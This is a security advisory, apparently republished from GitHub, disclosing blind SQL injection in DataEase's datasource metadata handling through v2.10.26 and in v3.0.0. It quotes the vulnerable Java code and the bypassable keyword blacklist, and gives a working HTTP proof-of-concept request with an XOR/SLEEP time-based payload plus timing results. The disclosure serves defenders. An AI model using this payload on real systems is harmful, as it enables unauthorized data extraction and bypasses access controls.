# GHSA-XCR3-P567-5C8C: SQL Injection in Datasource Metadata Identifiers (Incomplete Fix for GHSA-8hgp-vw27-hxph)

- Database: GitHub
- Severity: high (stated by ghsa, no CVSS score)
- Published: 2026-09-24
- Modified: 2026-09-24

## Affected versions

- io.dataease (Maven): through 2.10.26

## Description

### Impact

#### Summary
The published fix for [GHSA-8hgp-vw27-hxph](https://github.com/dataease/dataease/security/advisories/GHSA-8hgp-vw27-hxph) ("SQL Injection in datasource metadata identifiers", published 2026-07-30) did not take effect across the metadata sinks listed in the original advisory. In DataEase v2.10.26 and v3.0.0, user-supplied table and metadata identifiers in `CalciteProvider.java` remain unparameterized and unescaped. An authenticated attacker can perform boolean- and time-based blind SQL injection via the `/de2api/datasetData/tableField` endpoint by exploiting single-quote handling gaps and using `XOR` to bypass the keyword word-boundary checks. The injected SQL executes with the credentials DataEase stores for the target datasource, allowing attackers with read permissions to bypass table- and dataset-level permission boundaries.

#### Affected Code
The four sinks originally enumerated in GHSA-8hgp-vw27-hxph remain unpatched in `core/core-backend/src/main/java/io/dataease/datasource/provider/CalciteProvider.java`:

1. **`getTableFiledSql` (MySQL, DB2, PostgreSQL, SQL Server families)**:
   Lines 1321, 1346, 1486 directly interpolate table and schema names into single-quoted string literals using `String.format`:
   ```java
   // CalciteProvider.java:1321 & 1346
   sql = String.format("... WHERE TABLE_SCHEMA = '%s' AND TABLE_NAME = '%s'",
                       database, datasourceRequest.getTable());

   // CalciteProvider.java:1486
   sql = String.format("... WHERE TABLE_NAME = '%s'",
                       datasourceRequest.getTable());
   ```

2. **`getSchemaSql` (DB2 family)**:
   ```java
   // CalciteProvider.java:1715
   return "select SCHEMANAME from syscat.SCHEMATA WHERE \"DEFINER\" ='USER'"
            .replace("USER", configuration.getUsername().toUpperCase());
   ```

3. **Oracle session configuration**:
   ```java
   // CalciteProvider.java:685
   statement.executeUpdate("ALTER SESSION SET CURRENT_SCHEMA = "
                           + datasourceConfiguration.getSchema());
   ```

4. **`getTableTypeMap`**:
   ```java
   // CalciteProvider.java:268
   String sql = "SELECT * FROM `$TABLE_NAME$` LIMIT 0 OFFSET 0"
                  .replace("$TABLE_NAME$", schemaTable);
   ```

While `getTablesSql` in `CalciteProvider.java` was parameterized in v2.10.26, the `getTableFiledSql` and related identifier sinks listed above were not parameterized or escaped, leaving them open to exploitation on both `dev-v2` and `v3.0.0`.

#### Technical Analysis
The vulnerability in `getTableFiledSql` can be exploited due to three compounding weaknesses:

1. **Validation helper ignores single quotes**:
   The `validateSqlInjectionRisk` method relies on `SQL_INJECTION_PATTERNS_FOR_VALUES` (`Pattern.compile("[\";`]")`), which intentionally excludes single quotes (`'`) to permit strings such as "O'Brien":
   ```java
   public static void validateSqlInjectionRisk(String value) { ... }
   ```
2. **Missing string escaping at call site**:
   The call site in `getTableFiledSql` invokes `validateSqlInjectionRisk` but omits the required subsequent `transValue` call. The unescaped table name is then directly placed inside a single-quoted SQL literal.
3. **Keyword word-boundary bypass via `XOR`**:
   The blacklist pattern checks for dangerous keywords using regular expression word boundaries `\b`:
   ```java
   Pattern.compile("\\b(or|and|union|select|insert|delete|update|drop|alter|exec|xp_cmdshell)\\b", CASE_INSENSITIVE)
   ```
   In the string `XOR`, the letter `o` is immediately preceded by `X` (a word character), so `\b(or)\b` fails to match. `XOR` is a valid logical operator in MySQL and functions as an effective substitute for `OR`. Additionally, blind injection functions such as `SLEEP`, `IF`, `SUBSTR`, `USER`, and `DATABASE` are not present in the blacklist.

#### Vulnerability Reproduction / POC

**Prerequisites**:
- Target: DataEase v3.0.0 or v2.10.26
- Backing database: MySQL (e.g. MySQL 8.4.x)
- An authenticated user account with access to the datasource
- **Precondition**: The target endpoint invokes `DatasetCacheManage.validateTable` before reaching the sink, verifying that the table exists in the target datasource. In testing, a table whose name contains the payload was created in the datasource.

**Attack Request**:
```http
POST /de2api/datasetData/tableField HTTP/1.1
Content-Type: application/json
X-DE-TOKEN: <VALID_TOKEN>
X-DE-EXECUTE-VERSION: 3.0.0

{
  "type": "db",
  "datasourceId": "<DATASOURCE_ID>",
  "isCross": false,
  "info": "{\"table\":\"x' XOR IF(SUBSTR(USER(),1,1)='r',SLEEP(5),0)#\"}"
}
```

**Constructed Query**:
The server constructs and executes the query via a plain JDBC `Statement`:
```sql
SELECT COLUMN_NAME,DATA_TYPE,COLUMN_COMMENT,... FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = '<db>' AND TABLE_NAME = 'x' XOR IF(SUBSTR(USER(),1,1)='r',SLEEP(5),0)#'
```
The single quote closes the string literal, `XOR` chains the conditional expression, and the `#` character comments out the remainder of the query.

**Timing Verification**:
Testing boolean-based blind injection with matching vs non-matching conditions demonstrates an ~900x execution time difference:
- Condition **True** (`SUBSTR(USER(),1,1)='r'`): ~30,192 ms (`(conn=1438) Query execution was interrupted`)
- Condition **False** (`SUBSTR(USER(),1,1)='z'`): ~33 ms to 36 ms (immediate normal response)

Using this timing discrepancy, database metadata and sensitive values can be extracted character-by-character.

#### Impact
The injected SQL executes under the context and privileges of the credentials configured for that datasource in DataEase. An authenticated user possessing only limited read access to a datasource can execute arbitrary SQL queries against the underlying database, bypassing DataEase's internal table- and dataset-level access controls.

#### Affected versions

- Affected versions <= v2.10.26
- Affected versions v3.0.0

### Patches

The vulnerability will be addressed in v2.10.27 and v3.1.0.

### References

If you have any questions or comments about this advisory:

- Open an issue in https://github.com/dataease/dataease
- Email us at wei@fit2cloud.com
- Related Advisory: [GHSA-8hgp-vw27-hxph](https://github.com/dataease/dataease/security/advisories/GHSA-8hgp-vw27-hxph)

## References

- https://github.com/dataease/dataease/security/advisories/GHSA-xcr3-p567-5c8c

Page: https://cve.now/GHSA-XCR3-P567-5C8C

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
